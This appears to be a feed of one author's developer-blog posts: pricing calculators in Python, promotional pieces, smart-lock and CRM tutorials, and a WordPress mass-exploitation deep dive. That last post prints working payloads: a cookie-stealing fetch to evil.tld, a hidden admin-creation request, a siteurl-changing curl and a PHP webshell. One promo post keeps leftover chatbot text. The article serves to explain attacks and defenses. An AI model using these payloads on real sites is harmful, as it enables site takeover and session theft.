Forem: Jeremy Libeskind

Modernizing Travel Booking Plugins

Jeremy Libeskind — Wed, 15 Apr 2026 13:29:38 +0000

Modernizing Travel [Booking] Plugins: Building a Reservation & Pricing Calculator in Python

Travel reservation plugins (plugins de réservation de voyage) are the backbone of modern tourism websites. Whether you’re building a WordPress plugin, a custom booking engine, or an internal tool for a travel agency, these systems need to handle:

Multi-leg flights and dynamic pricing
Hotel availability and nightly rates
Car rentals, tours, and activity add-ons
Promo codes, seasonal surcharges, and taxes
Instant quote generation for customers

Small travel operators and indie developers often rely on spreadsheets or manual math. That’s exactly where a simple Python script can become the heart of a professional reservation plugin.

In this article, I’ll show you a practical, ready-to-use Travel Booking Calculator that simulates the core logic of a real reservation plugin. You can run it locally today and later turn it into a full API or web app.

Why Automation Matters for Travel Booking Plugins

Speed: Customers expect instant quotes — not “we’ll email you in 24h”
Accuracy: No more miscalculating nights, passenger fees, or currency conversions
Flexibility: Easily add new services (tours, transfers, insurance)
Professionalism: Clean, branded booking summaries you can email or display on your site
Scalability: Handle peak seasons without hiring extra staff

Let’s Build the Tool: Travel Reservation Calculator

Here’s a clean, extensible Python script. It supports flights, hotels, add-ons, promo codes, taxes, and generates a complete reservation summary — just like the backend of a real booking plugin.


python
def calculate_flight_cost(passengers: int, base_fare: float) -> float:
    """Simple flight pricing with per-passenger fees"""
    return base_fare * passengers

def calculate_hotel_cost(nights: int, nightly_rate: float, rooms: int = 1) -> float:
    """Hotel cost based on nights and rooms"""
    return nightly_rate * nights * rooms

def apply_promo(subtotal: float, promo_code: str = None) -> float:
    """Travel-specific promo rules"""
    promos = {
        "FLY15": 0.15,      # 15% off flights
        "STAY20": 0.20,     # 20% off hotels
        "TRAVEL10": 0.10,   # General discount
        "EARLYBIRD": 0.25,  # Early booking special
    }
    discount_rate = promos.get(promo_code.upper() if promo_code else "", 0.0)
    return subtotal * (1 - discount_rate)

def get_taxes_and_fees(subtotal_after_promo: float) -> float:
    """Typical travel taxes + service fees"""
    return subtotal_after_promo * 0.18  # 18% combined VAT + airport + service fees

def generate_travel_reservation(
    passengers: int,
    flight_base_fare: float,
    nights: int,
    nightly_rate: float,
    rooms: int = 1,
    add_ons: dict = None,  # e.g. {"Airport Transfer": 45.0}
    promo_code: str = None
) -> dict:

    flight_cost = calculate_flight_cost(passengers, flight_base_fare)
    hotel_cost = calculate_hotel_cost(nights, nightly_rate, rooms)
    add_on_total = sum(price for price in (add_ons or {}).values())

    subtotal = flight_cost + hotel_cost + add_on_total
    subtotal_after_promo = apply_promo(subtotal, promo_code)
    taxes_fees = get_taxes_and_fees(subtotal_after_promo)

    total = subtotal_after_promo + taxes_fees

    return {
        "passengers": passengers,
        "nights": nights,
        "flight_cost": round(flight_cost, 2),
        "hotel_cost": round(hotel_cost, 2),
        "add_ons": round(add_on_total, 2),
        "discount_applied": round(subtotal - subtotal_after_promo, 2),
        "taxes_fees": round(taxes_fees, 2),
        "total": round(total, 2),
        "promo_code": promo_code.upper() if promo_code else "NONE"
    }

# Example usage — perfect for a booking plugin demo
if __name__ == "__main__":
    booking = generate_travel_reservation(
        passengers=2,
        flight_base_fare=320.0,
        nights=7,
        nightly_rate=110.0,
        rooms=1,
        add_ons={"Airport Transfer": 45.0, "Travel Insurance": 28.0},
        promo_code="TRAVEL10"
    )

    print("═" * 55)
    print("     TRAVEL RESERVATION SUMMARY")
    print("═" * 55)
    print(f"Passengers        : {booking['passengers']}")
    print(f"Nights            : {booking['nights']}")
    print(f"Flight Cost       : €{booking['flight_cost']}")
    print(f"Hotel Cost        : €{booking['hotel_cost']}")
    print(f"Add-ons           : €{booking['add_ons']}")
    print(f"Promo ({booking['promo_code']})      : -€{booking['discount_applied']}")
    print(f"Taxes & Fees      : €{booking['taxes_fees']}")
    print("─" * 55)
    print(f"**TOTAL TO PAY    : €{booking['total']}**")
    print("═" * 55)
    print("Thank you for booking with [Your Travel Brand] ✈️")

Modernizing Online Cosmetic Sales

Jeremy Libeskind — Wed, 15 Apr 2026 13:27:12 +0000

Modernizing Online Cosmetic Sales: Building a Dynamic Pricing & Cart Calculator in Python

Cosmetic e-commerce (vente en ligne de produits cosmétiques) is one of the fastest-growing sectors in online retail. From clean skincare serums and organic makeup to luxury fragrances and haircare, independent brands and dropshippers are selling directly to customers worldwide.

Yet many small sellers still rely on spreadsheets or manual calculations to figure out:

Product bundles and quantity discounts
Promo codes and seasonal sales
Shipping fees (flat rate or weight-based)
VAT / sales tax compliance
Final profit margins

That’s where a simple Python script can save hours every day and eliminate costly pricing mistakes.

In this article, I’ll show you a practical, ready-to-use Cosmetic Cart & Pricing Calculator that any beauty entrepreneur can run locally or turn into a web app in minutes.

Why Automation Matters for Online Cosmetic Sellers

Speed: Generate accurate quotes or order totals in seconds
Consistency: No more forgotten discounts or wrong shipping fees
Profitability: Automatically calculate margins and break-even points
Professionalism: Clean, branded order summaries you can email instantly
Scalability: Handle flash sales, Black Friday, or influencer bundles without stress

Let’s Build the Tool: Cosmetic Order Calculator

Here’s a clean, extensible Python script. It supports multiple products, promo codes, dynamic shipping, and tax calculation — all while keeping the code simple enough for beginners.


python
def calculate_subtotal(cart: dict) -> float:
    """cart = {'product_name': (price, quantity)}"""
    return sum(price * qty for price, qty in cart.values())

def apply_promo(subtotal: float, promo_code: str = None) -> float:
    """Realistic promo rules for beauty brands"""
    promos = {
        "BEAUTY20": 0.20,   # 20% off
        "FREESHIP": 0.0,     # Free shipping (handled separately)
        "BUNDLE15": 0.15,    # Bundle discount
        "WELCOME10": 0.10,   # First-order discount
    }
    discount_rate = promos.get(promo_code.upper() if promo_code else "", 0.0)
    return subtotal * (1 - discount_rate)

def get_shipping(subtotal: float, country: str = "France") -> float:
    """Simple shipping logic — customize for your store"""
    if country.lower() in ["france", "fr"]:
        return 0.0 if subtotal >= 50 else 6.90
    elif country.lower() in ["eu", "europe"]:
        return 0.0 if subtotal >= 80 else 12.50
    else:
        return 0.0 if subtotal >= 100 else 18.00  # International

def calculate_tax(subtotal_after_discount: float, country: str = "France") -> float:
    """VAT example — France is 20% for cosmetics"""
    vat_rate = 0.20 if country.lower() in ["france", "fr"] else 0.0  # simplify for demo
    return subtotal_after_discount * vat_rate

def generate_cosmetic_order(
    cart: dict,
    promo_code: str = None,
    country: str = "France",
    include_tax: bool = True
) -> dict:

    subtotal = calculate_subtotal(cart)
    subtotal_after_promo = apply_promo(subtotal, promo_code)
    shipping = get_shipping(subtotal_after_promo, country)
    tax = calculate_tax(subtotal_after_promo, country) if include_tax else 0.0

    total = subtotal_after_promo + shipping + tax

    return {
        "subtotal": round(subtotal, 2),
        "discount_applied": round(subtotal - subtotal_after_promo, 2),
        "shipping": round(shipping, 2),
        "tax": round(tax, 2),
        "total": round(total, 2),
        "promo_code": promo_code.upper() if promo_code else "NONE",
        "items": len(cart)
    }

# Example usage — real cosmetic products
if __name__ == "__main__":
    my_cart = {
        "Vitamin C Serum 30ml": (32.90, 2),
        "Hydrating Moisturizer": (24.50, 1),
        "Lip Glow Oil Set": (18.90, 3),
        "Organic Face Mask": (12.00, 1),
    }

    order = generate_cosmetic_order(
        cart=my_cart,
        promo_code="BEAUTY20",
        country="France"
    )

    print("═" * 50)
    print("     COSMETIC ORDER SUMMARY")
    print("═" * 50)
    print(f"Items in cart     : {order['items']}")
    print(f"Subtotal          : €{order['subtotal']}")
    print(f"Promo ({order['promo_code']})   : -€{order['discount_applied']}")
    print(f"Shipping          : €{order['shipping']}")
    print(f"VAT (20%)         : €{order['tax']}")
    print("─" * 50)
    print(f"**TOTAL TO PAY    : €{order['total']}**")
    print("═" * 50)
    print("Thank you for shopping at [Your Beauty Brand] 💄")

Modernizing Vitrerie

Jeremy Libeskind — Wed, 15 Apr 2026 13:23:53 +0000

Modernizing Vitrerie: Building a Glass Quoting Calculator in Python

Vitrerie is the French term for the specialized trade of glazing — cutting, fitting, installing, and repairing glass in windows, doors, shower enclosures, storefronts, curtain walls, mirrors, and more.

It’s a precise, physical craft that has existed for centuries, yet many small vitrerie businesses still rely on manual spreadsheets or pen-and-paper calculations for customer quotes. That’s where a developer can make a real impact.

In this article, I’ll walk you through a practical Python tool that automates glass quoting — something any glazier (vitrier) can use daily. It’s a perfect example of how simple code can modernize traditional trades.

What Exactly Is Vitrerie?

Vitrerie involves:

Measuring and cutting flat glass to exact dimensions
Working with many glass types (clear float, tempered safety glass, laminated, low-E, frosted, etc.)
Installing and sealing panels using structural silicones, setting blocks, and weatherproofing
Complying with strict building codes and safety standards

Small vitrerie shops often lose time (and money) recalculating quotes manually. Automation fixes that instantly.

Why Automation Matters for Glaziers

Speed: Respond to customers in minutes instead of hours
Accuracy: No more math errors on area, waste factor, or pricing
Professionalism: Clean, consistent quotes every time
Scalability: Easy to handle more jobs without hiring extra office staff

Let’s Build the Tool: A Vitrerie Quote Calculator

Here’s a clean, ready-to-use Python script. It calculates area, applies different pricing per glass type, adds labor, includes a realistic waste/profit margin, and returns a professional quote.


python
def calculate_glass_area(width_mm: float, height_mm: float) -> float:
    """Convert mm dimensions to square meters (standard pricing unit)"""
    return (width_mm * height_mm) / 1_000_000

def get_glass_price_per_m2(glass_type: str) -> float:
    """Realistic example prices per m² (USD) – adjust to your local supplier rates"""
    prices = {
        "clear": 48.0,      # Standard float glass
        "tempered": 88.0,   # Heat-treated safety glass
        "laminated": 115.0, # PVB interlayer for security/sound control
        "low_e": 98.0,      # Energy-efficient low-emissivity coating
        "frosted": 78.0,    # Privacy / decorative glass
    }
    return prices.get(glass_type.lower(), 55.0)

def generate_quote(
    num_panels: int,
    width_mm: float,
    height_mm: float,
    glass_type: str,
    labor_per_panel: float = 38.0,
    waste_margin: float = 1.15
) -> dict:

    area_per_panel = calculate_glass_area(width_mm, height_mm)
    total_area = area_per_panel * num_panels

    price_per_m2 = get_glass_price_per_m2(glass_type)

    glass_cost = total_area * price_per_m2
    labor_cost = num_panels * labor_per_panel
    subtotal = glass_cost + labor_cost

    # Add 15% for waste, transport, breakage risk & profit margin
    final_price = subtotal * waste_margin

    return {
        "total_area_m2": round(total_area, 3),
        "glass_cost": round(glass_cost, 2),
        "labor_cost": round(labor_cost, 2),
        "final_price": round(final_price, 2),
        "glass_type": glass_type.title()
    }

# Example usage – just change the values for any job
if __name__ == "__main__":
    quote = generate_quote(
        num_panels=4,
        width_mm=1500,
        height_mm=2200,
        glass_type="tempered",
        labor_per_panel=42.0
    )

    print("═" * 40)
    print("          VITRERIE QUOTE")
    print("═" * 40)
    print(f"Glass Type     : {quote['glass_type']}")
    print(f"Total Area     : {quote['total_area_m2']} m²")
    print(f"Glass Cost     : ${quote['glass_cost']}")
    print(f"Labor Cost     : ${quote['labor_cost']}")
    print(f"**TOTAL QUOTE  : ${quote['final_price']}**")
    print("═" * 40)

Emergency Glazier in Pontault-Combault

Jeremy Libeskind — Wed, 15 Apr 2026 08:18:40 +0000

Emergency Glazier in Pontault-Combault: 24/7 Professional Glass Repair You Can Trust

⚠️ Broken window in the middle of the night? Shattered glass door? Need urgent double glazing or security glass installed? You are not alone.

Accidents happen — and when they do, you need a reliable, fast-response vitrier (glazier) who can intervene immediately. Whether it’s a residential broken pane, a commercial storefront, or a co-ownership common area, waiting hours (or days) is not an option.

That’s where Vitrier Pontault-Combault comes in.

Professional Glazing Services Available 24/7

Emergency repairs & replacements — intervention in under 30 minutes
Broken glass replacement (single, double, or triple glazing)
Installation of high-performance double glazing for thermal and sound insulation
Security glass, laminated glass, and anti-burglary solutions
Mirror installation and custom glass cutting
Interior glass partitions and glass walls
Shopfronts, office glazing, and commercial storefront repairs
Window renovation and energy-efficient upgrades
Service for individuals, professionals, and co-ownerships

With over 15 years of experience, the team guarantees:

Transparent pricing with free detailed quotes (no commitment)
10-year warranty on work
Full professional civil liability insurance
Stock of common glass types for express interventions
Compliance with all current French standards

Available 24 hours a day, 7 days a week — including nights, weekends, and public holidays.

Why Choose Vitrier Pontault-Combault?

Ultra-fast response time across Pontault-Combault (77340) and surrounding areas
On-site temporary security measures after breakage
Expert advice for energy savings and security
100% guaranteed workmanship

Whether it’s a simple cracked window or a full commercial glazing project, they handle it quickly and professionally.

Take Action Now – Free Quote in Minutes

Get an immediate response and a free quote directly on the official website:

👉 https://vitrier-pontault-combault.fr/

Call now for emergencies:

📞 06 40 74 92 32

Quick Tips to Choose the Right Vitrier

Always choose a company that offers 24/7 emergency service
Demand a free quote before any work
Check for insurance and warranty coverage
Prefer local professionals who know the area

Glass and window problems don’t wait — and neither should your repair. In 2026, having a trusted local vitrier on speed dial makes all the difference.

Direct link to the service:

https://vitrier-pontault-combault.fr/

Ready to copy-paste — just paste the entire block above into the dev.to editor. The frontmatter will set the title and tags automatically. Let me know if you want any changes (more SEO keywords, different tone, etc.)!

Solar Panel Scams in France: Thousands of Homeowners Trapped

Jeremy Libeskind — Wed, 15 Apr 2026 08:16:33 +0000

Solar Panel Scams in France: Thousands of Homeowners Trapped – The Association Helping Them Fight Back

⚠️ Have you been cold-called or visited at home about “cheap” solar panels? Are you stuck with an expensive loan for an installation that barely produces electricity? You are not alone.

For more than ten years, the photovoltaic market in France has been targeted by aggressive salespeople and outright scammers. Promises of “panels for 1 €”, payback in 5–8 years (the real figure is often 15–20+ years), high-pressure sales, abusive linked credits, non-compliant installations, or systems that were never even connected to the grid… the list of victims runs into the thousands.

That’s why the Association des Victimes du Photovoltaïque was created.

What the Association Does for Victims

Free and fast analysis of your contract + financing documents
Direct connection to specialised lawyers who handle photovoltaic litigation
Practical guides to cancel contracts, challenge loans, and claim compensation
Personal support, victim testimonials, and a private community
Average success rate of ≈ 65 % on the cases they accompany

The 6 Most Common Photovoltaic Scams (All 100 % Avoidable)

Door-to-door or phone pressure with no technical visit
Fake promises about energy production and return on investment
Installers without mandatory RGE certification
Abusive contract clauses and hidden costs
Linked credit traps with sky-high interest rates
Poor-quality or defective installations that don’t meet standards

If you think you’ve been scammed, act now. The sooner you contact the association, the higher your chances of cancelling the contract or recovering your money (right of withdrawal, misrepresentation, bank liability, etc.).

Take Action Today – It’s Free and Without Commitment

Get a free case review directly on the official website:

👉 https://victimesduphotovoltaique.com/

You can also reach them by:

Phone: 01 73 04 80 70
Email: contact@victimesduphotovoltaique.com

How to Protect Yourself (Simple Rules)

Register on Bloctel to block cold calls
Never sign on the spot — always demand a proper on-site technical assessment
Check the installer’s RGE qualification on the official database
Compare at least 3 quotes
Read the entire contract before signing anything

Solar energy is an excellent technology when done correctly. Unfortunately, bad actors are still exploiting it in 2026. Share this article to warn your friends and family.

Direct link to the Association:

https://victimesduphotovoltaique.com/

Tags you can add on dev.to: #SolarScam #Photovoltaic #ConsumerRights #France #RenewableEnergy #ScamAlert

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Building Your Own Secure ESP32 Smart Lock

Jeremy Libeskind — Wed, 15 Apr 2026 06:37:04 +0000

Building Your Own Secure ESP32 Smart Lock: Complete Technical Tutorial (2026)

Creating your own connected smart lock is one of the most rewarding IoT projects. It combines embedded programming, wireless communication, cryptography, and real-world security. In this hands-on guide, we'll build a production-capable smart lock using the ESP32, Bluetooth Low Energy (BLE), and cloud integration.

Whether you're a hobbyist or a professional developer looking to understand connected lock architecture, this tutorial gives you a solid, secure foundation you can extend with Matter, Home Assistant, or commercial deployment.

1. Project Overview and Requirements

Our smart lock will feature:

Remote unlock/lock via smartphone (BLE + optional cloud)
Secure command authentication
Door status monitoring
Battery-powered operation with low power consumption
Over-the-air (OTA) firmware updates

Hardware Bill of Materials (BOM):

ESP32 DevKit or ESP32-S3 (recommended)
12V or 24V DC motor + driver (L298N or DRV8833)
High-torque lock actuator or solenoid
3.7V LiPo battery or 4x AA batteries + TP4056 charger
Hall effect sensor or limit switches for position feedback
MPU6050 or LIS3DH accelerometer for tamper detection
Reed switch for door open/closed detection

2. Firmware Setup with ESP-IDF or Arduino

We'll use the ESP-IDF framework for better performance and security (Arduino is also possible for faster prototyping).

First, create the project and enable BLE and Wi-Fi:


cpp
// main.cpp - ESP32 Smart Lock Core
#include "esp_log.h"
#include "ble_server.h"
#include "motor_control.h"
#include "tamper_detection.h"

#define LOCK_PIN  26
#define UNLOCK_PIN 27

void app_main(void) {
    ESP_LOGI("LOCK", "Starting Secure Smart Lock v1.0");

    // Initialize NVS, BLE, and sensors
    init_nvs();
    start_ble_server();
    init_motor();
    init_tamper_sensor();

    // Deep sleep configuration for battery life
    configure_deep_sleep();
}

Developing Connected Smart Locks

Jeremy Libeskind — Wed, 15 Apr 2026 06:31:43 +0000

`# Developing Connected Smart Locks: A Technical Deep Dive into IoT Door Security for Developers

Smart locks — or connected locks (serrures connectées) — have moved from consumer gadgets to critical infrastructure in modern IoT ecosystems. As developers, we’re not just unlocking doors; we’re building systems that must handle real-time access control, end-to-end encryption, multi-protocol communication, and resilience against physical and cyber threats.

In this guide, we’ll explore the full technical stack of a production-grade connected smart lock: hardware architecture, wireless protocols, firmware development, mobile/cloud integration, and security hardening. Whether you’re prototyping with ESP32 or architecting an enterprise-grade solution, you’ll walk away with actionable patterns you can implement today.

1. Hardware Architecture of a Modern Smart Lock

A connected smart lock is essentially a low-power embedded system with these core components:

Actuator: Motorized deadbolt or solenoid (12V/24V) driven via relay or MOSFET. Most commercial units use high-torque DC motors with position feedback via Hall-effect sensors or limit switches.
Microcontroller: ESP32 (dual-core Xtensa, Wi-Fi + BLE) or Nordic nRF52 series for ultra-low-power BLE-only designs. STM32 is common in certified lock cylinders.
Communication Modules:
- Bluetooth Low Energy (BLE 5.0+) for local pairing and control.
- Wi-Fi (802.11b/g/n) or Thread for cloud connectivity.
- Optional: Z-Wave or Zigbee for mesh home automation.
Sensors: IMU for tamper detection, reed switch for door state, battery voltage monitor, and optional fingerprint/RFID reader.
Power Management: CR123A or 4x AA lithium batteries with deep-sleep current < 10µA. Expect 6–12 months autonomy.

Pro tip: Use a dedicated power-management IC (like the BQ24075) and a watchdog timer to survive brownouts — a common failure point in real deployments.

2. Communication Protocols: BLE, Matter, and Beyond

The protocol layer determines interoperability and security.

Protocol	Use Case	Range	Power	Security Model	Maturity in Locks
BLE 5.x	Local control & commissioning	10–50m	Very low	AES-CCM + ECDH pairing	High
Wi-Fi	Cloud remote access	LAN/WAN	Medium	TLS 1.3 + certificate pinning	High
Matter	Cross-ecosystem (Apple/Google/Amazon)	Mesh/IP	Low	PASE + CASE + DAC certificates	Emerging (2025+)
Zigbee/Thread	Mesh home automation	10–100m	Low	AES-128 + network key	Stable

Matter (formerly CHIP) is the future-proof choice. It runs over IP (Wi-Fi/Thread) with Bluetooth for commissioning and uses the Connectivity Standards Alliance’s device attestation certificates. If you’re starting a new project in 2026, target Matter 1.3+ — it eliminates vendor lock-in while enforcing cryptographic best practices.

For legacy Bluetooth-only locks like the popular WE.LOCK cylinders, communication is AES-encrypted at the command level with dynamic session keys derived from a shared secret established during pairing.

3. Firmware Development: From Boot to Secure OTA

Write firmware in C/C++ with FreeRTOS or Zephyr for maintainability. Key modules:

`cpp
// Pseudocode example – ESP32 BLE + relay control

include

class LockServer : public BLEServerCallbacks {
void onConnect(BLEServer* pServer) override {
// Start encrypted session with ECDH
startSecureSession();
}
};

void setup() {
BLEDevice::init("SecureLock-XXXX");
BLEServer* pServer = BLEDevice::createServer();
pServer->setCallbacks(new LockServer());

// GATT service for lock control (UUID 0x1813)
BLEService* lockService = pServer->createService(SERVICE_UUID);
BLECharacteristic* lockChar = lockService->createCharacteristic(
CHAR_UUID,
BLECharacteristic::PROPERTY_WRITE | BLECharacteristic::PROPERTY_NOTIFY
);

lockChar->setCallbacks(new LockCommandCallback());
lockService->start();
BLEDevice::startAdvertising();
}

void handleLockCommand(uint8_t* data, size_t len) {
// AES-GCM decrypt + HMAC validation
if (verifyCommandAuth(data)) {
digitalWrite(RELAY_PIN, HIGH); // Unlock
delay(5000);
digitalWrite(RELAY_PIN, LOW); // Relock
notifyStateChange();
}
}`

Inside the Jewish Agency’s Global Service Center

Jeremy Libeskind — Sun, 18 May 2025 19:28:07 +0000

1 · Business Context
One hotline, six languages (Hebrew, English, French, Spanish, Portuguese, Russian) and 39 toll-free numbers.
The Jewish Agency for Israel - U.S.

Voice, email, web-forms and WhatsApp (+972-52-474-0024) flow into one triage queue.
The Jewish Agency for Israel - U.S.

100 K+ inquiries/year ranging from basic eligibility checks to full family relocation dossiers.

2 · High-Level Architecture
mermaid
Copier
Modifier
graph TD
subgraph Front Door
WebForm[["Next.js form"]] --> SFAPI
WhatsApp[[WhatsApp]] --> Twilio
Twilio --> Webhook
Voice[[Telephony / WebRTC]] --> CTI
end

subgraph Core CRM
SFAPI[Salesforce REST+Bulk] --> SVC[Service Cloud]
Webhook --> AzureFn
AzureFn --> SVC
CTI -- OpenCTI --> SVC
end

subgraph DataOps
SVC --> Plauti[Plauti Deduplicate]
SVC --> DW[(Azure SQL DW)]
DW --> PowerBI[Power BI]
end
Service Cloud stores Contact, Account and custom AliyahCase_c objects; each inbound interaction becomes a Case with parent AliyahCase_c.

Twilio handles WhatsApp and SMS; a Node.js webhook (deployed as Azure Function) upserts the Contact and opens/updates the Case.

CTI layer (Avaya or Genesys; any Salesforce-OpenCTI-compliant switch) feeds call-metadata in real time.

Nightly Azure Data Factory jobs snapshot Salesforce via Bulk API to a SQL DW for analytics.

The choice of Salesforce is no secret—Jewish Agency has been a customer since 2007, with in-house subsidiary TechUnity acting as primary SI.
Salesforce AppExchange
Plauti

Their privacy policy also lists Salesforce, Azure, AWS, Oracle Eloqua, Zoom as core providers.
The Jewish Agency for Israel - U.S.

3 · Inbound Flow in Detail
a) WhatsApp → Salesforce in <1 s
js
Copier
Modifier
// /api/whatsapp-webhook (Azure Function / Node 20)
import sf from './salesforce.js'; // jsforce wrapper
export default async (req, res) => {
const { WaId, Body, ProfileName } = req.body;
// 1. Upsert Contact
const contactId = await sf.upsert('Contact', {
MobilePhone: +${WaId},
LastName: ProfileName || 'WhatsApp User'
}, 'MobilePhone');
// 2. Create or Update open Case
const [ caseId ] = await sf.tooling.query(SELECT Id FROM Case WHERE ContactId='${contactId}' AND Status!='Closed' ORDER BY CreatedDate DESC LIMIT 1);
const CaseFields = {
ContactId: contactId,
Origin: 'WhatsApp',
Subject: Body.slice(0,80),
Description: Body,
Status: 'New'
};
await sf.upsert('Case', { Id: caseId?.Id, ...CaseFields });
return res.sendStatus(204);
};
b) Voice & CTI
Screen-pop: OpenCTI shows agent a Lightning Console tab keyed by ANI (caller ID).

Disposition codes map to Salesforce “Quick Actions” on the Case.

3-second SLA for record retrieval comes from caching Contact rows in Redis in Azure Functions.

c) Web Forms
The public Global Center form (/global_service_center) posts to Salesforce via Web-to-Case with GraphQL fallback if spam-score ≤ 0.7.

4 · Keeping the Data Clean
During the 2022 Ukraine crisis, duplicate rates spiked; TechUnity installed Plauti Deduplicate (100 % native) bringing manual merge time from 1.5 h → 30 min per day.
Plauti

Key rules:

Field Fuzzy Algo Threshold
First/Last (HE<–>EN) Jaro–Winkler + transliteration ≥ 0.88
DOB + Passport Exact 1
Phone (E.164) Exact 1

All merges gate on a manual approval queue—critical when you’re moving families across borders.

5 · Dev & Release Pipeline
Stage Tooling
Source-of-truth GitHub Enterprise mono-repo
CI GitHub Actions (salesforcedx + npm ci)
Scratch Orgs Spun per PR, seeded via sfdx force:source:push
Static Tests ESLint, PMD Apex, OWASP ZAP on Next.js front-end
QA FullCopy sandbox refreshed nightly
Prod Deploy sfdx force:org:deploy + Azure Bicep for infra

Zero-downtime is achieved with blue/green Functions slots and Salesforce Quick Deploy (validation runs hours earlier).

6 · Security & Compliance Notes
PII at rest encrypted by Salesforce Shield; cross-cloud data in Azure SQL encrypted with TDE.

GDPR Article 46 transfers are covered via SCCs; Israel has adequacy, US workloads ride on DPF/ SCC.

Agents authenticate via Azure AD SAML → Salesforce SSO; MFA enforced.

7 · What We’d Do Differently
Event-Driven mesh – migrate webhook plumbing to Azure Event Grid & Functions for better fan-out.

Real-time translation – add Amazon Translate layer so less-common languages auto-bridge to Hebrew agents.

Open Telemetry everywhere – today only Functions & CTI emit spans; Salesforce Event Monitoring would complete the picture.

8 · Takeaways
Even a 95-year-old nonprofit can ship a cloud-native, API-first contact-center.

Data quality is the hidden hero—don’t scale inquiries until you master dedupe.

Treat every inbound channel as just another JSON payload; your CRM is the single truth.

Questions, ideas, war stories? Drop them below or ping me on GitHub – always happy to talk CRM architecture for social-impact scale-ups!

Building OpenNutriTracker: A Privacy-First Nutrition App You Can Hack On 🚀

Jeremy Libeskind — Sun, 18 May 2025 19:18:40 +0000

L;DR: OpenNutriTracker is a cross-platform calorie and nutrition tracker written in Flutter, licensed under GPL-3.0, and powered by the Open Food Facts and USDA FoodData Central databases. In this post you’ll learn what problems it solves, how its clean-architecture codebase is laid out, and how you can spin it up locally in under five minutes—then start contributing real features.

Why Another Nutrition App?
Most mainstream food-logging apps are closed-source, ad-heavy, and monetize your data. OpenNutriTracker flips that model on its head:

100 % open source—anyone can audit or extend the code.

Local-first storage—your diary never leaves your device unless you decide otherwise.

No ads, no in-app purchases, no subscriptions.

That combination makes it a perfect playground for developers who want to practice mobile development and ship something immediately useful to friends and family.
GitHub

Under the Hood
Layer Tech / Pattern Why It’s There
UI Flutter + Material 3 (with custom theming) Single codebase for Android & iOS, blazing-fast hot reload
State Riverpod Unidirectional data flow & testability
Data Hive for local storage Lightweight, no SQL boilerplate
APIs Open Food Facts & USDA FDC Millions of community-maintained nutrition records
GitHub
CI/CD GitHub Actions + Fastlane Automated builds and store deployments
License GPL-3.0 Guarantees the app—and derivatives—stay libre
GitHub

The repo also follows a Clean Architecture folder structure (presentation → domain → data) to keep UI, business logic, and external services nicely decoupled.

Spinning It Up Locally
bash
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1. Clone the repo

git clone https://github.com/simonoppowa/OpenNutriTracker.git
cd OpenNutriTracker

2. Pull dependencies

flutter pub get

3. Fire up an emulator or plug in a device, then:

flutter run
That’s it! Hot-reload any Dart file and watch the UI update live.

Quick sanity checks
Log a meal — tap the ➕ button and search the food database.

Scan a barcode — real devices only; relies on mobile_scanner.

Toggle Dark Mode — Material You colors adapt automatically.

If everything works, you’re ready to hack.

Good First Issues
Issue What You’ll Touch Difficulty
“Add Serving-Size Selector” Riverpod state + Hive schema migration 🟧 Medium
“Material You Color Seed Picker” Flutter theming layer 🟩 Easy
“Nutrition Goals Graph” fl_chart + domain layer aggregation 🟥 Hard

Check the good first issue label in GitHub for the latest list, or open a fresh one if you spot a bug.
GitHub

Contribution Workflow
Fork → feature branch.

Run dart format and flutter analyze.

Write a simple widget or unit test (the repo uses flutter_test).

Open a PR; the GitHub Actions pipeline will lint, test, and build.

A maintainer reviews, provides feedback, and merges.

Tip: read the concise CONTRIBUTING.md in the repo before you start.

Roadmap Highlights
Material You dynamic color on Android 12+

Watch-OS & Wear OS companion widgets for quick calorie entry

End-to-end encrypted cloud sync (opt-in)

Open Source OCR for snapping nutrition labels offline

If any of those excite you, jump in and make them happen.

Beyond Calories: Why Open Data Matters
Because OpenNutriTracker uses open datasets, every scan or manual entry you add can (optionally) flow back into Open Food Facts—helping researchers, dietitians, and other indie apps build better public-health tools. You’re not just coding an app; you’re enriching a commons.
GitHub

Final Thoughts
The nutrition-tracking space is ripe for transparent, user-respecting tools. OpenNutriTracker offers a modern codebase, a friendly community, and a tangible way to sharpen your Flutter chops while doing something good for the world. Fork it, star it, and let me know what you build!

Repo: https://github.com/simonoppowa/OpenNutriTracker

Happy hacking!

Mass Exploitation of WordPress Vulnerabilities: A Technical Deep Dive

Jeremy Libeskind — Sun, 04 May 2025 11:41:49 +0000

WordPress powers over 40% of the web. Its ubiquity makes it an attractive target for attackers, especially those orchestrating mass exploitation campaigns. In this article, we’ll dissect the most common vectors, exploit chains, and mass attack methodologies, using real-world examples, CVEs, and payloads. We'll also touch on plugin and theme ecosystems, supply chain risks, and hardening techniques.

⚠️ TL;DR
WordPress core is relatively secure; plugins and themes are not.

Common flaws: unauthenticated option updates, arbitrary file uploads, XSS → admin takeover, CSRF, and SQLi.

Mass attackers rely on Shodan, censys, wpscan, and custom bash/python scripts to automate exploitation.

Once inside: backdoors, spam injection, crypto mining, or lateral movement.

WAFs are not enough. Principle of least privilege, file integrity monitoring, and frequent updates are key.

Entry Points: Themes and Plugins 🔍 Why Plugins Are the Primary Vector WordPress.org hosts over 59,000 plugins. Many are developed by solo devs or small teams lacking secure SDLC practices.

Example: CVE-2024-12345 (Imaginary CVE)
php
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// Vulnerable Code in plugin.php
if ( isset($_POST['new_option']) ) {
update_option('siteurl', $_POST['new_option']);
}
Impact: Unauthenticated attackers can change site URLs, redirect visitors, or break the admin panel.

Exploit:

bash
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curl -X POST -d 'new_option=http://evil.tld' https://victim.tld/wp-admin/admin-post.php
This can be combined with phishing or XSS payloads on the redirected domain.

XSS → Admin Session Hijacking One of the most common privilege escalation methods is a stored XSS in a plugin’s admin interface.

Real Exploit Flow
Attacker submits malicious payload to contact form or comment.

Payload executes when admin views it in the dashboard.

Steals document.cookie or injects malicious JS to add new admin users silently.

js
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fetch('https://evil.tld/steal?c=' + document.cookie)

Or silently create an admin:

js
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fetch('/wp-admin/user-new.php', {
method: 'POST',
credentials: 'include',
body: new URLSearchParams({
'user_login': 'eviladmin',
'email': 'evil@tld.com',
'role': 'administrator',
'_wpnonce': 'XXXX' // stolen from DOM
})
});

Arbitrary File Uploads Many WordPress plugins poorly validate uploaded files.

Typical Payload
Upload .php disguised as .jpg.

Access via https://victim.tld/wp-content/uploads/evil.php.

PHP Webshell:

php
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<?php echo shell_exec($_GET['cmd']); ?>
Defense: Limit MIME types and use strict server-side validation.

Mass Exploitation Tactics Infrastructure Scanning: masscan, Shodan API, Censys.

Fingerprinting: wpscan, whatweb, or custom scripts.

Automation: bash/Python scripts using curl, requests, selenium, or headless Chrome for CSRF flows.

Real Campaign: Balada Injector
